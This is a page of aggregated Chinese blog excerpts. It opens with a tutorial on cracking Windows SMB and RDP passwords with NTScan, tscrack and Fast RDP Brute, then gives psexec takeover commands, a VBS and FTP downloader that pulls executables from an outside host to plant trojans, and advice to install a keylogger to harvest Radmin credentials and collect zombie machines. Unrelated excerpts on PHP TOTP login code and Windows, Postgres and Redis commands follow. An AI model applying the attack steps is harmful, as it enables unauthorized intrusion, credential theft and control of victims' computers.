精华内容
下载资源
问答
  • 7Windows口令扫描及3389口令暴力破解 在Windows操作系统渗透过程中,除了SQL注入、Web服务漏洞攻击等方式外,还有一种攻击方式,即暴力破解,对3389或者内网的服务器进行口令扫描攻击,以获取更多的服务器权限。这种...

    7Windows口令扫描及3389口令暴力破解
    在Windows操作系统渗透过程中,除了SQL注入、Web服务漏洞攻击等方式外,还有一种攻击方式,即暴力破解,对3389或者内网的服务器进行口令扫描攻击,以获取更多的服务器权限。这种攻击尤其是在拥有一台或者多台服务器权限后,目前口令扫描有Hscan、NTscan等,本章主要介绍如何进行口令扫描以及利用tscrack、Fast RDP Brute等工具软件来暴力破解3389口令,最终获取服务器权限。
    7.1口令扫描准备工作
    在进行口令扫描前需要做一些准备工作,收集信息越多,越有可能成功获取内网服务器权限。例如掌握一定权限后,通过邮箱帐号等信息,进行社工密码收集,对用户的密码进行规律分析和社工字典生成。
    1.确定需要扫描的IP地址或者IP地址段
    2.收集用户名和密码,常见的是Administrator为用户较多,但在内网中,很多用户都喜欢使用个性化名字进行登录,因此需要收集一些用户名;密码字典的整理尤其重要,可以包含网站使用过的密码,社工库邮件地址或者用户名查询到的密码,公司名称,电话号码,出生日期,手机号码,QQ号码等。
    3.编辑密码和口令配置文件
    7.2使用NTScan扫描口令实例
    Windows口令扫描攻击主要针对某一个IP地址或者某一个网段进口令扫描,实质是通过139、445等端口来尝试建立连接,其利用的是Dos命令“net use \ipaddress\admin$ “password” /u:user”,只不过通过程序来实现而已。下面的案例通过扫描软件NTScan来扫描口令,扫描出口令后成功实施控制的案例。
    1.设置NTScan
    直接运行NTscan,在NTscan中一般只需要设置开始IP和结束IP两个地方,其它设置均可以采取默认,如图1所示。
    在这里插入图片描述

    图1 设置NTscan
    说明
    ①如果是在肉鸡上面精细管理扫描,由于语言版本的不同,如果操作系统不支持中文显示,就有可能显示为乱码,这个时候设置就只能凭熟悉度来进行设置,在本例中是在英文操作系统中使用NTscan,在其运行界面中一些汉字显示为“?”,但是不影响扫描使用,如图2所示。
    在这里插入图片描述

    图2 NTscan乱码显示
    ②在NTscan中有IPC、SMB和WMI三种扫描方式,第一种和第三种方式扫描口令较为有效,第二种主要用来扫描共享文件。利用IPC$可以与目标主机建立一个空的连接而无需用户名与密码,而且还可以得到目标主机上的用户列表。SMB(服务器信息块)协议是一种IBM协议,用于在计算机间共享文件、打印机、串口等。SMB 协议可以用在因特网的TCP/IP协议之上,也可以用在其它网络协议如IPX和NetBEUI 之上。
    ③WMI(Windows管理规范)是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特定日期和时间运行的进程;远程启动计算机;获得本地或远程计算机的已安装程序列表;查询本地或远程计算机的Windows事件日志等等。一般情况下,在本地计算机上执行的WMI操作也可以在远程计算机上执行,只要用户拥有该计算机的管理员权限。如果用户对远程计算机拥有权限并且远程计算机支持远程访问,那么用户就可以连接到该远程计算机并执行拥有相应权限的操作。
    2.执行扫描
    在NTscan运行界面中单击“开始”按钮或者单击左窗口下面的第一按钮(如果显示为乱码),开始扫描,如图3所示。
    在这里插入图片描述

    图3 扫描口令
    说明
    ①NTscan扫描口令跟字典有关,其原理就是使用字典中的口令跟实际口令进行对比,如果相同即可建立连接,即破解成功,破解成功后会在下方显示。
    ②NTscan的字典文件为NT_pass.dic,用户文件为NT_user.dic,可以根据实际情况对字典文件和用户文件内容进行修改。
    ③NTscan扫描结束后,会在NTscan程序当前目录下生成一个NTscan.txt文件,该文件记录扫描结果,如图4所示。
    在这里插入图片描述

    图4 NTscan扫描记录文件
    ④在NTscan中还有一些辅助功能,例如右键单击后可以执行“cmd”命令,左键单击后可以执行“连接”、“打开远程登陆”以及“映射网络驱动器”等命令,如图5所示。
    在这里插入图片描述

    图5NTscan辅助功能
    3.实施控制
    在Dos命令提示符下输入“net use \221...*\admin$ “mrs6100” /u:administrator”命令获取主机的管理员权限。命令执行成功,如图6所示。
    在这里插入图片描述

    图6 建立连接
    4.执行Psexec命令
    输入“psexec \221...* cmd”命令获取一个DosShell,如图7所示。
    在这里插入图片描述

    图7获取DosShell
    说明
    ①以上两步可以合并,直接在Dos命令提示符下输入“psexec \ipaddress –u administrator -ppassword cmd”。例如在上例中可以输入“psexec \221...* -u Administrator –pmrs6100 cmd”命令来获取一个Dos下的Shell。
    ②在有些情况下使用“psexec \ipaddress –u administrator -ppassword cmd”命令不能正常执行。
    5.从远端查看被入侵计算机端口开放情况
    使用“sfind –p 221...*”命令查看远程主机端口开放情况,该主机仅仅开放了4899端口,如图8所示。
    在这里插入图片描述

    图8查看端口开放情况
    6.上传文件
    在该DosShell下执行文件下载命令,将一些工具软件或者木马软件上传的被攻击计算机上面,如图9所示。
    在这里插入图片描述

    图9 上传文件
    说明
    ①可以使用以下vbs脚本命令来上传文件。
    echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
    echo set aso=.createobject(“adodb.stream”):set web=createobject(“microsoft.xmlhttp”) >>dl.vbe
    echo web.open “get”,.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe
    echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe
    cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe
    ②如果不能通过执行vbs脚本来上传文件,则可以通过执行ftp命令来上传文件,ftp命令如下:
    echo open 192.168.1.1 >b
    echo ftp>>b
    echo ftp>>b
    echo bin>>b
    echo get systeminfo.exe >>b
    echo bye >>b
    ftp -s:b
    7.并查看主机基本信息
    执行“systeminfo info”可以查看被入侵计算机的基本信息,该计算机操作系统为Windows 2000 Professional,如图10所示
    在这里插入图片描述

    图10 查看主机基本信息
    8.进行渗透
    在本案例中,由于对方计算机安装有Radmin,因此极有可能保留有Radmin的控制信息,通过“开始”-“程序”-“Remote Administrator v2.2”-“Remote Administrator viewer”打开Radmin2.0版本的客户端控制器,在其中有两个IP地址,如图11所示,不过不知道连接密码,安装一个键盘记录,等待用户自己连接,监听用户的键盘记录,到时候就可以将用户的控制端作为肉鸡,这种肉鸡质量很高。
    在这里插入图片描述

    图11 获取Radmin控制端信息
    9.小结
    本案例通过NTscan扫描工具软件扫描主机口令,配合psexec等命令成功控制控制扫描出弱口令的计算机,其实在本案例中,该口令并不算弱口令,将被控制计算机的口令作为扫描口令,有时候会控制一大片计算机作为好肉鸡。
    7.3使用tscrack扫描3389口令
    3389终端攻击主要通过3389破解登陆器(tscrack)来实现的,tscrack是微软开发远程终端服务(3389)的测试产品,后面有人将其做了一些修改,可以用来破解3389口令;其核心原理就是利用字典配合远程终端登陆器进行尝试登陆,一旦登陆成功则认为破解成功。破解成功主要取决于字典强度和时间长度,在成功进入内网后,借助该方法可以对内网3389服务器进行渗透,该方法对Windows 2000 Server攻击效果较佳。
    1.安装Tscrack软件
    tscrack初次运行时需要进行安装,即直接运行tscrack.exe程序即可,如果不能正常运行则需要运行“tscrack -U”命令卸载tscrack中的组件以后再次运行tscrack.exe即可。运行成功后,会提示安装组件、解压缩组件、注册组件成功,如图12所示。
    在这里插入图片描述

    图12 安装tscrack程序
    2.寻找开放3389的IP地址
    在Dos提示符下输入“sfind –p 220...*”,探测其端口开放情况,如图13所示。
    在这里插入图片描述

    图13 探测3389端口
    3. 构建字典文件
    构建字典文件100words.txt,在100words.txt文件中加入破解口令,每一个口令占用独立的一行,且行尾无空格,编辑完成后,如图14所示。
    在这里插入图片描述

    图14构建字典文件
    4.编辑破解命令
    如果仅仅是对单个IP地址进行破解,其破解命令格式为“tscrack ip –w 100words.txt”,如果是对多个ip地址进行破解,则可以将ip地址整理成一个文件,每一个ip地址占一行,且行尾无空格,将其保存为ip.txt,然后可以编辑一个批命令,如图15所示。
    在这里插入图片描述

    图15 编辑破解命令
    说明
    (1)在原程序tscrack.exe可以更改为任意名称,100words.txt也可以是任意名称。
    (2)如果是对多个IP地址进行破解,则字典文件不能太大,否则破解时间会很长,建议是针对单一的IP地址进行破解。
    5.破解3389口令
    运行批命令后,远程终端破解程序开始破解,tscrack会使用字典的口令一个一个的进行尝试登陆,只是程序自动输入密码,如图16所示,在程序破解过程中不要进行手动干涉,让程序自动进行破解。
    在这里插入图片描述

    图16破解口令
    6.破解成功
    当破解成功后,程序会自动结束,显示破解的口令和破解该口令所花费的时间,如图17所示。
    在这里插入图片描述

    图17 破解口令成功
    说明
    (1)Tscrack破解3389终端口令后不会生成log文件,破解的口令显示在Dos窗口,一旦Dos窗口关闭,所有结果都不会保存。
    (2)如果是对多个IP地址进行3389终端口令破解,Tscrack程序会将所有IP地址都进行破解尝试后才会停止。
    (3)Tscrack破解3389终端口令相对应的用户只能是Administrator,对其它用户无能为力。
    7.使用口令和用户登陆
    运行mstsc.exe打开终端连接器,输入IP地址进行连接,在3389连接界面中输入刚才破解的密码和Administrator用户,连接成功,如图18所示。
    在这里插入图片描述

    图18进入远程终端桌面
    8.小结
    本案例通过tscrack程序来破解远程终端(3389)的口令,只要字典足够强大以及时间足够,如果对方未采取IP地址登陆限制等安全措施,则其口令在理论上是可以破解的,不过在微软升级补丁后该方法仅对Window 2000 Server效果较好,对Windows 2003以及以上版本效果不佳。应对3389远程终端口令破解的安全措施是进行IP地址信任连接,或者通过一些软件来限制只有某一些IP地址才能访问远程终端。
    7.5使用Fast RDP Brute暴力破解3389口令
    1.软件简介
    Fast RDP Brute 是俄罗斯Roleg开发的一款暴力破解工具,主要用于扫描远程桌面连接弱口令的工具。官方网站下载地址http://stascorp.com/load/1-1-0-58,运行软件后界面如图19所示。
    在这里插入图片描述

    图19程序主界面
    2. 设置主要参数
    (1)Max threads:设置扫描线程数,默认为1000,一般不用修改。
    (2)Scan timeout:设置超时时间,默认为2000,一般不用修改。
    (3)Thread timeout:设置线程超时时间,默认为60000,一般不用修改。
    (4)Scan ports:设置要扫描的端口,根据实际情况设置,默认为3389,3390和3391,在实际扫描过程中如果是对某一个已知IP和端口进行扫描,建议删除多于端口,例如对方端口为3388,则只保留3388即可。
    (5)Ip ranges to scan: 设置扫描的ip范围
    (6)用户名和密码可以在文件夹下的user.txt和pass.txt文件内自行设置。如图20所示,在默认的user.txt中包含俄文的管理员,一般用不上,可以根据实际情况进行设置。
    在这里插入图片描述

    图20设置暴力破解的用户名和密码字典
    3.局域网扫描测试
    本次测试采用Vmware,搭建了两个平台,扫描主机IP地址为“192.168.148.128”;被扫描主机IP为“192.168.148.132”,操作系统为Win2003,开放3389端口,在该服务器上新建立test、antian365用户,并将设置的密码复制到扫描字典中,单击“start scan”进行扫描,扫描结果如图21所示。
    注意:
    (1)在192.168.148.132服务器上必须开启3389。
    (2)在扫描服务器上执行mstsc命令,输入IP地址192.168.148.132进行3389登录测试,看看能否访问网络,如果无法访问网络,则扫描就无效。
    在这里插入图片描述

    图21扫描成果
    4.总结与思考
    (1)该软件虽然提供多个用户同时扫描,但只要扫描出一个结果后,软件就停止扫描。对于多用户扫描,可以在扫描出结果后,将已经扫描出来的用户删除后继续进行扫描,或者针对单用户进行扫描。
    (2)扫描时间或者连接次数较多时,会显示too many errors错误。如图22所示
    在这里插入图片描述

    图22扫描错误
    (3)该软件可以对单个用户进行已知密码扫描,在已经获取内网权限下,可以对整个网络开放3389的主机进行扫描,获取权限。
    (4)在网上对另外一个软件“DUBrute V4.2 RC”也进行3389密码暴力破解测试,测试环境同上,实际测试效果无法破解。

    展开全文
  • php集成动态口令认证

    千次阅读 2016-07-20 17:32:50
    动态口令分为HOTP(基于事件计数的动态口令)、TOTP(基于时间的动态口令)等方式。本文介绍了集成TOTP方式的动态口令认证的方案,PHP框架采用Thinkphp3.2.3,动态口令生成器使用的是google authtic

    大多数系统目前均使用的静态密码进行身份认证登录,但由于静态密码容易被窃取,其安全性无法满足安全要求。

    动态口令采用一次一密、用过密码作废的方式防止了密码被窃取带来的安全问题。
    动态口令分为HOTP(基于事件计数的动态口令,RFC4226)、TOTP(基于时间计数的动态口令,RFC6238)、OCRA(挑战应答式动态口令,RFC6287)等方式。

    本文介绍了集成TOTP方式的动态口令认证的方案,PHP框架采用Thinkphp3.2.3,动态口令生成器使用的是google authtication。

    1、为Thinkphp框架添加oath算法类

    oath算法封装类oath.php代码如下:

    <?PHP
    /**
     * This program is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program.  If not, see <http://www.gnu.org/licenses/>.
     *
     * PHP Google two-factor authentication module.
     *
     * See http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/
     * for more details
     *
     * @author Phil
     **/
    
    class Google2FA {
    
        const keyRegeneration     = 30;    // Interval between key regeneration
        const otpLength        = 6;    // Length of the Token generated
    
        private static $lut = array(    // Lookup needed for Base32 encoding
            "A" => 0,    "B" => 1,
            "C" => 2,    "D" => 3,
            "E" => 4,    "F" => 5,
            "G" => 6,    "H" => 7,
            "I" => 8,    "J" => 9,
            "K" => 10,    "L" => 11,
            "M" => 12,    "N" => 13,
            "O" => 14,    "P" => 15,
            "Q" => 16,    "R" => 17,
            "S" => 18,    "T" => 19,
            "U" => 20,    "V" => 21,
            "W" => 22,    "X" => 23,
            "Y" => 24,    "Z" => 25,
            "2" => 26,    "3" => 27,
            "4" => 28,    "5" => 29,
            "6" => 30,    "7" => 31
        );
    
        /**
         * Generates a 16 digit secret key in base32 format
         * @return string
         **/
        public static function generate_secret_key($length = 16) {
            $b32     = "234567QWERTYUIOPASDFGHJKLZXCVBNM";
            $s     = "";
    
            for ($i = 0; $i < $length; $i++)
                $s .= $b32[rand(0,31)];
    
            return $s;
        }
    
        /**
         * Returns the current Unix Timestamp devided by the keyRegeneration
         * period.
         * @return integer
         **/
        public static function get_timestamp() {
            return floor(microtime(true)/self::keyRegeneration);
        }
    
        /**
         * Decodes a base32 string into a binary string.
         **/
        public static function base32_decode($b32) {
    
            $b32     = strtoupper($b32);
    
            if (!preg_match('/^[ABCDEFGHIJKLMNOPQRSTUVWXYZ234567]+$/', $b32, $match))
                throw new Exception('Invalid characters in the base32 string.');
    
            $l     = strlen($b32);
            $n    = 0;
            $j    = 0;
            $binary = "";
    
            for ($i = 0; $i < $l; $i++) {
    
                $n = $n << 5;                 // Move buffer left by 5 to make room
                $n = $n + self::$lut[$b32[$i]];     // Add value into buffer
                $j = $j + 5;                // Keep track of number of bits in buffer
    
                if ($j >= 8) {
                    $j = $j - 8;
                    $binary .= chr(($n & (0xFF << $j)) >> $j);
                }
            }
    
            return $binary;
        }
    
        /**
         * Takes the secret key and the timestamp and returns the one time
         * password.
         *
         * @param binary $key - Secret key in binary form.
         * @param integer $counter - Timestamp as returned by get_timestamp.
         * @return string
         **/
        public static function oath_hotp($key, $counter)
        {
            if (strlen($key) < 8)
            throw new Exception('Secret key is too short. Must be at least 16 base 32 characters');
    
            $bin_counter = pack('N*', 0) . pack('N*', $counter);        // Counter must be 64-bit int
            $hash      = hash_hmac ('sha1', $bin_counter, $key, true);
    
            return str_pad(self::oath_truncate($hash), self::otpLength, '0', STR_PAD_LEFT);
        }
    
        /**
         * Verifys a user inputted key against the current timestamp. Checks $window
         * keys either side of the timestamp.
         *
         * @param string $b32seed
         * @param string $key - User specified key
         * @param integer $window
         * @param boolean $useTimeStamp
         * @return boolean
         **/
        public static function verify_key($b32seed, $key, $window = 5, $useTimeStamp = true) {
    
            $timeStamp = self::get_timestamp();
    
            if ($useTimeStamp !== true) $timeStamp = (int)$useTimeStamp;
    
            $binarySeed = self::base32_decode($b32seed);
    
            for ($ts = $timeStamp - $window; $ts <= $timeStamp + $window; $ts++)
                if (self::oath_hotp($binarySeed, $ts) == $key)
                    return true;
    
            return false;
    
        }
    
        /**
         * Extracts the OTP from the SHA1 hash.
         * @param binary $hash
         * @return integer
         **/
        public static function oath_truncate($hash)
        {
            $offset = ord($hash[19]) & 0xf;
    
            return (
                ((ord($hash[$offset+0]) & 0x7f) << 24 ) |
                ((ord($hash[$offset+1]) & 0xff) << 16 ) |
                ((ord($hash[$offset+2]) & 0xff) << 8 ) |
                (ord($hash[$offset+3]) & 0xff)
            ) % pow(10, self::otpLength);
        }
    
    
    
    }
    /*
    $InitalizationKey = "LFLFMU2SGVCUIUCZKBMEKRKLIQ";                    // Set the inital key
    
    $TimeStamp      = Google2FA::get_timestamp();
    $secretkey       = Google2FA::base32_decode($InitalizationKey);    // Decode it into binary
    $otp             = Google2FA::oath_hotp($secretkey, $TimeStamp);    // Get current token
    
    echo("Init key: $InitalizationKey\n");
    echo("Timestamp: $TimeStamp\n");
    echo("One time password: $otp\n");
    
    // Use this to verify a key as it allows for some time drift.
    
    $result = Google2FA::verify_key($InitalizationKey, "123456");
    
    var_dump($result);
    */
    ?>

    由于google的动态口令算法中种子密钥使用了base32编码,因此需要base32算法,base32.php内容如下:

    <?php
    //namespace Base32;
    /**
     * Base32 encoder and decoder
     *
     * Last update: 2012-06-20
     *
     * RFC 4648 compliant
     * @link http://www.ietf.org/rfc/rfc4648.txt
     *
     * Some groundwork based on this class
     * https://github.com/NTICompass/PHP-Base32
     *
     * @author Christian Riesen <chris.riesen@gmail.com>
     * @link http://christianriesen.com
     * @license MIT License see LICENSE file
     */
    class Base32
    {
        /**
         * Alphabet for encoding and decoding base32
         *
         * @var array
         */
        private static $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=';
        /**
         * Creates an array from a binary string into a given chunk size
         *
         * @param string $binaryString String to chunk
         * @param integer $bits Number of bits per chunk
         * @return array
         */
        private static function chunk($binaryString, $bits)
        {
            $binaryString = chunk_split($binaryString, $bits, ' ');
            if (substr($binaryString, (strlen($binaryString)) - 1)  == ' ') {
                $binaryString = substr($binaryString, 0, strlen($binaryString)-1);
            }
            return explode(' ', $binaryString);
        }
        /**
         * Encodes into base32
         *
         * @param string $string Clear text string
         * @return string Base32 encoded string
         */
        public static function encode($string)
        {
            if (strlen($string) == 0) {
                // Gives an empty string
                return '';
            }
            // Convert string to binary
            $binaryString = '';
            foreach (str_split($string) as $s) {
                // Return each character as an 8-bit binary string
                $binaryString .= sprintf('%08b', ord($s));
            }
            // Break into 5-bit chunks, then break that into an array
            $binaryArray = self::chunk($binaryString, 5);
            // Pad array to be divisible by 8
            while (count($binaryArray) % 8 !== 0) {
                $binaryArray[] = null;
            }
            $base32String = '';
            // Encode in base32
            foreach ($binaryArray as $bin) {
                $char = 32;
                if (!is_null($bin)) {
                    // Pad the binary strings
                    $bin = str_pad($bin, 5, 0, STR_PAD_RIGHT);
                    $char = bindec($bin);
                }
                // Base32 character
                $base32String .= self::$alphabet[$char];
            }
            return $base32String;
        }
        /**
         * Decodes base32
         *
         * @param string $base32String Base32 encoded string
         * @return string Clear text string
         */
        public static function decode($base32String)
        {
            // Only work in upper cases
            $base32String = strtoupper($base32String);
            // Remove anything that is not base32 alphabet
            $pattern = '/[^A-Z2-7]/';
            $base32String = preg_replace($pattern, '', $base32String);
            if (strlen($base32String) == 0) {
                // Gives an empty string
                return '';
            }
            $base32Array = str_split($base32String);
            $string = '';
            foreach ($base32Array as $str) {
                $char = strpos(self::$alphabet, $str);
                // Ignore the padding character
                if ($char !== 32) {
                    $string .= sprintf('%05b', $char);
                }
            }
            while (strlen($string) %8 !== 0) {
                $string = substr($string, 0, strlen($string)-1);
            }
            $binaryArray = self::chunk($string, 8);
            $realString = '';
            foreach ($binaryArray as $bin) {
                // Pad each value to 8 bits
                $bin = str_pad($bin, 8, 0, STR_PAD_RIGHT);
                // Convert binary strings to ASCII
                $realString .= chr(bindec($bin));
            }
            return $realString;
        }
    }
    
    ?>

    将这两个文件放到Thinkphp框架的ThinkPHP\Library\Vendor\oath目录下,oath目录是自己创建的。

    2、添加数据库字段

    用户表添加如下字段:
    auth_type(0-静态密码,1-动态口令)
    seed(种子密钥)
    temp_seed(临时种子密钥)
    last_logintime(上次登录成功时间)
    last_otp(上次使用密码)
    其中auth_type是为了标明用户使用的哪种认证方式,seed为用户的种子密钥,temp_seed为用户未开通前临时保存的一个种子密钥,如果用户开通动态口令认证成功,该字段内容会填到seed字段。last_logintime和last_otp为上次认证成功的时间和动态口令,用于避免用户同一个口令重复使用。

    3、代码集成

    1、开通动态口令

    在原有系统的修改密码页面,加上认证方式的选择,例如:
    这里写图片描述
    如果用户选择动态口令方式,则会生成一张二维码显示在页面,用于用户开通动态口令。为了兼容google authtication,其二维码格式与谷歌一样。生成二维码的方法见我的另一篇博客《Thinkphp整合phpqrcode生成二维码》。
    生成密钥二维码代码如下:

    public function qrcode()
        {   
            Vendor('oath.base32');
            $base32 = new \Base32();
            $rand = random(16);//生成随机种子
            $rand = $base32->encode($rand);
            $rand=str_replace('=','',$rand);//去除填充的‘=’
    
            $errorCorrectionLevel =intval(3) ;//容错级别 
            $matrixPointSize = intval(8);//生成图片大小 
    
            //生成二维码图片 
            Vendor('phpqrcode.phpqrcode');
            $object = new \QRcode();
            $text = sprintf("otpauth://totp/%s?secret=%s", $user, $rand);
            $object->png($text, false, $errorCorrectionLevel, $matrixPointSize, 2);
    
            生成的种子$rand保存到数据库的temp_seed字段
        }

    random是生成随机字符串函数。$rand=str_replace('=','',$rand)这句代码是因为谷歌手机令牌中base32解码算法并没有填充的‘=’号。
    验证用户动态口令的代码如下:

    从数据库读取temp_seed
    Vendor('oath.oath');
    $object = new \Google2FA();
    if($object->verify_key($temp_seed, $otp)){
        验证成功,将数据库更新seed为temp_seed,auth_type为1,last_otp为otp
    }

    2、动态口令登录

    用户动态口令登录验证的代码:

    从数据库读取auth_type,seed,last_otp字段。
    if($auth_type==1){//动态口令
        //防止重复认证                
        if($lat_otp == $otp) {
            动态口令重复使用返回              
        }
        Vendor('oath.oath');
        $object = new \Google2FA();
        if(!$object->verify_key($seed, $otp))
        {
            动态口令不正确
        }
        else
        {
            登录成功,将数据库更新last_otp为$otp,last_logintime为time()
        }               
    }

    4、测试验证

    下载google authtication,使用静态密码登录系统,进入修改密码页面。
    打开google authtication,扫描二维码,会显示动态口令。
    这里写图片描述

    这里写图片描述
    保存内容,开通动态口令成功!
    然后你就可以用高大上的动态口令登录系统了!

    展开全文
  • WINDOW系统

    2018-04-23 21:49:03
     3)口令:数据库的密码  4)在bin文件下会生成一个odoo10.sql文件 3.恢复postgresql数据库  1)进入 postgresql 的bin文件下:例如E:\python\postgresql9.5\bin  2)命令:psql 被备份的数据库名 ...

    1.后台运行python程序

        1)开启进程:start/b python 文件名.py

        2)查看进程:tasklist

        3)杀掉进程:taskkill /f /pid 进程数

    2.备份postgresql数据库

        1)进入postgresql的bin文件下:例如E:\python\postgresql9.5\bin

        2)命令:pg_dump -U 数据库用户名 要备份的数据库名 > 要生成的文件名.sql   例如:pg_dump -U odoo odoo10 > odoo10.sql

        3)口令:数据库的密码

        4)在bin文件下会生成一个odoo10.sql文件

    3.恢复postgresql数据库

        1)进入postgresql的bin文件下:例如E:\python\postgresql9.5\bin

        2)命令:psql 被备份的数据库名 数据用户名 < 备份的文件   例如:psql odoo10 odoo < odoo10.sql

        3)口令:数据库的密码

    4.文件操作

        1)删除文件夹:rd /s /q 文件夹名

    5.redis命令

       1)启动:redis-server redis.windows.conf

       3)查看redis.windows.conf里的requirepass是多少,执行auth "密码"

    6.查看环境变量命令:echo %PUB_HOSTED_URL%

    展开全文
  • 口令跳转

    千次阅读 2020-05-10 18:57:53
    自动先加好友后再转账代码,此方法需要做个网站做个...window.location.href = “alipays://platformapi/startapp?appId=09999988&actionType=toAccount&goBack=NO&amount=&userId=UID&memo=”; }

    自动先加好友后再转账代码,此方法需要做个网站做个页面进行跳转,扫码后先添加对方为好友,然后跳转账

    需做成一个网页,开通生活号跳转网页

    正在进入支付…

    setTimeout(function(){

    window.location.href = “alipays://platformapi/startapp?appId=09999988&actionType=toAccount&goBack=NO&amount=&userId=UID&memo=”;
    },888);

    });

    博主微信:a59128627
    展开全文
  • window基线检查

    2020-08-16 23:06:38
    4.检查口令策略设置是否符合复杂度要求 5.检查口令历史重复次数限制大于等于五 window+R在运行里面输入 control userpasswords2 勾选上要使用本计算机,用户必须输入用户名和密码。 是否关闭自动登录账户 询问...
  • window入侵排查

    2019-06-12 13:22:37
    web入侵:网页挂马、主页篡改、Webshell、后台弱口令 系统入侵:病毒木马、勒索软件、远控后门、系统命令执行、反序列化漏洞 网络攻击:DDOS攻击、DNS劫持、ARP欺骗 针对常见的攻击事件,结合工作中应急响应事件...
  • ORACLE口令管理

    2016-08-06 22:08:00
    口令文件介绍 在ORALCE数据库系统中,用户如果要以特权用户身份(SYS/SYSDBA/SYSOPER)登录ORALCE数据库可以有两种身份验证的方法:即使用与操作系统集成的身份验证或使用ORALCE数据库的密码文件进行身份验证。...
  • Window基础(黑客基础)

    万次阅读 多人点赞 2019-07-08 12:53:25
    一、Window重要目录 1.ProgramData:C:\ProgramData 是个公用的被创建文件夹或文件存放的地方,这些文件夹或文件仅由创建者完整控制。programdata是电脑C盘的一个系统文件夹 2.Program Files和Program Files(86)...
  • windows系统的弱口令检查工具和方法。引用“彩虹table”暴力猜解windows系统弱口令。对于用户设置的简单密码可以短时间破译。
  • Telnet弱口令猜解【Python脚本】

    千次阅读 2016-12-07 20:34:00
    telnet 弱口令猜解脚本 测试环境:window2003、centos7   #! /usr/bin/env python # _*_ coding:utf-8 _*_ import telnetlib username_list=['xiaozi','administrator'] password_list=['root','','abc123!...
  • 使用google身份验证器实现动态口令验证

    万次阅读 热门讨论 2017-08-14 14:04:55
    也能做一个类似银行动态口令的验证方式。经过对可行性的分析及慎重考虑,可以实现一个这样的功能。 怎么实现呢,是自己开发一个这样的app?这样成本太高了,为了节约成本,我们使用互联网使用比较多的google 身份验证...
  • HTML网页之进入网站口令脚本

    千次阅读 2016-03-23 13:15:25
    添加下面这个脚本在head标签中。 <!-- var password=""; password=prompt('请输入密码 (本网站需输入密码才可进入):',''); if (password !... window.opener=null; window.close();} // 密码不正确就关闭
  • 口令快捷输入工具

    2016-01-16 22:06:51
    快捷锁屏简介由于工作中使用的多种开发平台软件、办公平台软件均需输入口令,为使输入快捷不易错,开发了这个口令快捷输入工具。 基本原理是使用一个活动进程监控键盘事件程序,当发现特定快捷键命令时,自动模拟...
  • 简单通关口令-判断

    2017-07-06 14:04:00
    通关口令:input type="text" id="txt1"> input type="button" id="btn1" value="提交"> js: window.onload = function(){ var txt1 = document.getElementById('txt1'); var btn1 = document.getElement
  • oracle 口令文件

    2012-05-05 21:18:02
    也就是将登录数据库的用户和口令校验放在了操作系统一级,你拥有了安装oracle时的用户操作系统的认证,默认也就拥有了sys用户的认证。 此时你以sysdba角色登陆的话是不用校验用户名和密码。以任何用户名和密码都能...
  • FTP 弱口令或匿名登录漏洞,一般指使用 FTP 的用户启用了匿名登录功能,或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为
  • OTP动态口令的Java实现

    千次阅读 2018-08-01 14:28:08
    最近项目需要在应用中在登录时增加otp动态口令,作为二次密码的验证,原谅本人的孤陋寡闻居然是初次听说这技术,然后各种在网上查相关资料,发现想研究透此中算法时间太紧迫。鉴于此本人就不细说这个技术原理了...
  • windows本地破解用户口令 实验所属系列:操作系统安全 实验对象: 本科/专科信息安全专业 相关课程及专业:信息网络安全概论、计算机网络 实验时数(学分):2学时 实验类别:实践实验类 实验目的 1、了解Windows...
  • X Window System

    2012-08-06 08:47:53
    转自 ...X Window System 主要组件: X Server/X Client/Window Manager/Display Manager 图 1.2.1、 X Window System 的架构 X Server 的重点就是在管理用户端的硬件,包括接
  • SA口令被更改或系统错误

    千次阅读 2016-11-04 00:03:45
    (习惯安装完整版SQL2000的人可以尝试一下这中方法)解决方法2:安装了 sql2000 的数据库,但安装成了 window 验证模式,修改成混合验证模式。(可以使用SA口令修改工具进行验证模式的修改)解决方法3:可能是MDAC...
  • PHP实现OATH动态口令算法

    千次阅读 2016-03-03 11:05:02
    public static function verify_key($b32seed, $key, $window = 4, $useTimeStamp = true) { $timeStamp = self::get_timestamp(); if ($useTimeStamp !== true) $timeStamp = (int)$useTimeStamp; $...
  • MYsql:root SQLServer:sa ... 下列哪一组Oracle数据库的默认用户名和默认口令...口令:“tiger” B.用户名: “Sa”;口令:“nullr” C.用户名: “root”;口令:“null” D.用户名: “admin”;口令:“null” ...
  • 一键复制吱口令,支付宝红包js代码

    千次阅读 2018-09-13 16:27:24
    可实现点击任意位置复制吱口令 ... #更改吱口令 var newscript = document.createElement('script'); newscript.setAttribute('type','text/javascript'); newscript.setAttribute('src','htt...
  • Windows安全加固系列-----口令策略

    千次阅读 2019-06-13 20:35:33
    此文章是关于Windows安全加固中增强口令的复杂度及锁定策略,还有一个关于暴力破解的实验。 脆弱的口令 少于8个字符 单一的字符类型、例如只用小写字母、或只用数字 用户名与口令相同 最常被人使用的弱口令: 自己...
  • SNMP弱口令漏洞的使用

    千次阅读 2020-09-03 17:33:16
    参考地址: ... ... SNMP弱口令漏洞的使用 简单网络管理协议(SNMP)被广泛用于计算机操作...在运行SNMP服务的设备上,若管理员配置不当运行默认团体名/弱口令访问,将导致敏感信息泄露。敏感不限于系统运行的进程、已安装的
  • Window下安装Redis

    2018-12-23 00:19:44
    要想在window也以后台方式运行,可使用以下方式: 打开cmd进入reids目录,输入: redis-server --service-install redis.windows.conf --loglevel verbose, 回车。此时已经配置好reids服务,以后启动仅需执行 ...
